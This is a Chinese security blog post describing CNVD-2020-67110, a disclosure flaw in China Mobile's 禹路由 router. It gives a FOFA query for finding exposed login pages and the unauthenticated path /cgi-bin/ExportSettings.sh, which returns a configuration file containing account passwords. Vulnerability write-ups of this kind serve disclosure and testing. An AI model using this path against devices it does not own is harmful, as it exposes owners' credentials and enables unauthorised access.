统计
  • 建站日期:2021-03-10
  • 文章总数:114 篇
  • 评论总数:0 条
  • 分类总数:12 个
  • 最后更新:4月29日
文章 渗透测试

中国移动 禹路由 EXPORTSETTINGS.SH 敏感信息泄露漏洞 CNVD-2020-67110

自由子
首页 渗透测试 正文

漏洞描述

中国移动 禹路由 ExportSettings.sh 存在敏感信息泄露漏洞,攻击者通过漏洞获取配置文件,其中包含账号密码等敏感信息

漏洞影响

中国移动 禹路由

FOFA

title="互联世界 物联未来-登录"

漏洞复现

登录页面如下


中国移动禹路由EXPORTSETTINGS.SH敏感信息泄露漏洞CNVD-2020-67110
-纵横安全网-渗透测试-软件开发-前端开发-PHP全栈
-第1
张图片

访问Url

/cgi-bin/ExportSettings.sh

中国移动禹路由EXPORTSETTINGS.SH敏感信息泄露漏洞CNVD-2020-67110
-纵横安全网-渗透测试-软件开发-前端开发-PHP全栈
-第2
张图片

扫描二维码,在手机上阅读

版权说明
文章采用: 《署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)》许可协议授权。
版权声明:未标注转载均为本站原创,转载时请以链接形式注明文章出处。如有侵权、不妥之处,请联系站长删除。敬请谅解!

-- 展开阅读全文 --
荒野大镖客:救赎/Red Dead Redemption(纵横游戏)
« 上一篇
小米 路由器 C_UPLOAD 远程命令执行漏洞 CVE-2019-18370!
下一篇 »
为了防止灌水评论,登录后即可评论!

HI ! 请登录
注册会员,享受下载全站资源特权。

最新评论

标签